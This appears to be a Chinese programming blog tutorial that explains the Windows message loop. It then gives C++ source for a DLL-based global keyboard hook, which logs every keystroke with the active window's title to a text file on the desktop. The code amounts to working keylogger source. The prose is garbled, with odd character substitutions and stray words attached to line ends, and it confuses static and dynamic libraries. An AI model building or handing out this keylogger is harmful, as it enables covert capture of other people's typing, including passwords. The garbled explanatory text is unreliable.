一.整体概述c++
主要实现的是将windows活跃或是顶层窗口的键盘输入的记录下来储存在txt文件中。主要用到的知识windows操做系统的消息机制,动态库等一些知识程序员
二.具体的实现windows
首先咱们要从新创建一个windows桌面应用程序,而后咱们运行一下咱们会看到一个窗口,咱们建立桌面应用程序而不建立控制台程序是由于桌面应用程序,这里面最主要的缘由控制应用程序模拟DOS系统的那种CUI操做,不是直接用消息驱动的,而这里咱们采用的windows应用程序是依靠消息驱动的(这里咱们要注意的是DOS和windows的区别,DOS下的任何程序都是使用顺序的、过程驱动的程序设计方法。这种程序都有一个明显的开始、明显的过程以及一个明显的结束,所以经过程序就能直接控制程序事件或过程的所有顺序。即便是在处理异常时,处理过程也仍然是顺序的、过程驱动的结构。而Windows的驱动方式则是事件驱动的,即程序的流程不是由事件的顺序来控制,而是由事件的发生来控制,全部的事件是无序的,所为一个程序员,在编写程序时,并不知道用户会先按下哪一个按纽,也就不知道程序先触发哪一个消息。所以咱们的主要任务就是对正在开发的应用程序要发出的或要接收的消息进行排序和管理。事件驱动程序设计是密切围绕消息的产生与处理而展开的,一条消息是关于发生的事件的消息。 )函数
应用程序结构的简要讲解:spa
vs建立的文件中首先由三种函数构成注册窗口(包含窗口的一些基本的信息),初始化窗口(窗口的初始化函数),消息处理的窗口(回调函数,dispatchmsg()后就会调用这个回调函数,让应用程序处理各类的消息,窗口的各类的消息都是在这里定义的),而后咱们能够经过主循环的消息循环机制不断的Getmsg()来阻塞的等待操做系统分发到该应用消息队列的消息,经过translate来翻译消息而后,dipach分发掉,这就是该应用程序的运行机制。操作系统
// 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } }
知道上面的原理后咱们能够在相应的消息下安装钩子和删除钩子就能够了(WM_CREATE安装钩子,WM_DESTROY卸载钩子),接下来咱们采用动态库的方式来编写钩子的核心函数,咱们新建一个空的静态库(由于钩子的设置须要咱们新创建一个动态库),而后在头文件写下以下:翻译
#pragma once #include <Windows.h> #include <stdio.h> //启动钩子 extern "C" _declspec(dllexport) bool installHock(); //卸载钩子 extern "C" _declspec(dllexport) bool unistallHock();
其中咱们采用extern "c" 的方式是由于c++的编译器每每会将函数名字进行修改成了C语言和C++都能调用dll文件中API函数,咱们但愿动态连接库文件在编译时,导出函数的名称不要发生变化,而在通常的调用的时候咱们要采用_declspec()便可,而在调用端咱们想引用这个静态库,首先现将编译好的静态库(.lib)放置在所要调用的cpp文件的同一个目录下,而后写下以下的代码:设计
//引入动态库 #pragma comment(lib , "hockdll") //启动钩子 extern "C" _declspec(dllimport) bool installHock(); //卸载钩子 extern "C" _declspec(dllimport) bool unistallHock();
那么咱们接下来要作的就是专心的写咱们的键盘钩子的核心函数:(第一个函数是设置钩子的回调函数,一旦键盘有所操做咱们将触发,这里的回调函数的格式咱们能够经过转到定义来查看,windows的API的回调函数都会在函数名字前加上一个callback)code
HHOOK g_hook; LRESULT CALLBACK keyPrpc(int code, WPARAM wParam, LPARAM lParam) { char szWriteText[256]; char szWindowTittle[256]; char szKeyTest[256]; HWND hWnd; hWnd = ::GetActiveWindow(); if (hWnd == NULL) { hWnd = ::GetForegroundWindow(); if (hWnd == NULL) return CallNextHookEx(g_hook, code, wParam, lParam); } //获得窗口的标题 GetWindowTextA(hWnd, szWindowTittle, 256); //获取在在窗口输入的按键的内容 if (code<0 || code == HC_NOREMOVE) return CallNextHookEx(g_hook, code, wParam, lParam); if (lParam & 0x40000000) return CallNextHookEx(g_hook, code, wParam, lParam); GetKeyNameTextA(lParam, szKeyTest, 256); sprintf(szWriteText, "%s:%s\r\n", szWindowTittle, szKeyTest); //保存到文件中 FILE* fp = fopen("C:\\Users\\1\\Desktop\\haha.txt", "a"); if (fp == NULL) return CallNextHookEx(g_hook, code, wParam, lParam); fwrite(szWriteText, 1, strlen(szWriteText), fp); fclose(fp); return CallNextHookEx(g_hook, code, wParam, lParam); } //启动钩子 bool installHock() { //获取按键的信息 g_hook=SetWindowsHookEx(WH_KEYBOARD, keyPrpc, GetModuleHandle(L"hockdll"), NULL); if (g_hook == NULL) return false; MessageBox(NULL,L"设置钩子成功", L"提示",NULL); return true; } //卸载钩子 bool unistallHock() { return UnhookWindowsHookEx(g_hook); }